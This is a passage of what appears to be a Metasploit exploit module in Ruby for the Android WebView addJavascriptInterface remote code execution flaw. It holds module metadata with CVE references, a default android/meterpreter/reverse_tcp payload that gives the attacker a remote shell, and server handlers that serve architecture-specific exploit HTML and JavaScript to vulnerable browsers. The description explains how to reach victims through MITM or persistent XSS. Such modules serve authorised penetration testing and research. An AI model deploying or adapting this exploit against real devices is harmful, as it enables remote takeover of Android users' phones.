The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, 'License' => MSF_LICENSE, 'Author'=> [ 'jduck', # original msf module 'joev' # static server ], 'References'=> [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'], ['CVE', '2012-6636'], # original CVE for addJavascriptInterface ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_) ['EDB', '31519'], ['OSVDB', '97520'] ], 'Platform'=> ['android', 'linux'], 'Arch'=> [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE], 'DefaultOptions'=> { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate'=> 'Dec 21 2012', 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :os_name=> OperatingSystems::Match::ANDROID, :vuln_test=> VULN_CHECK_JS, :vuln_test_error => 'No vulnerable Java objects were found in this web context.' } )) deregister_options('JsObfuscate') end # Hooked to prevent BrowserExploitServer from attempting to do JS detection # on requests for the static javascript file def on_request_uri(cli, req) if req.uri =~ /\.js/ serve_static_js(cli, req) else super end end # The browser appears to be vulnerable, serve the exploit def on_request_exploit(cli, req, browser) arch = normalize_arch(browser[:arch]) print_status "Serving #{arch} exploit..." send_response_html(cli, html(arch)) end # Called when a client requests a .js route. # This is handy for post-XSS. def serve_static_js(cli, req) arch= req.qstring['arch'] response_opts = { 'Content-type' => 'text/javascript' } if arch.present? print_status("Serving javascript for arch #{normalize_arch arch}") send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts) else print_status("Serving arch detection javascript") send_response(cli, static_arch_detect_js, response_opts) end end # This is served to requests for the static .js file. # Because we have to use javascript to detect arch, we have 3 different # versions of the static .js file (x86/mips/arm) to choose from.
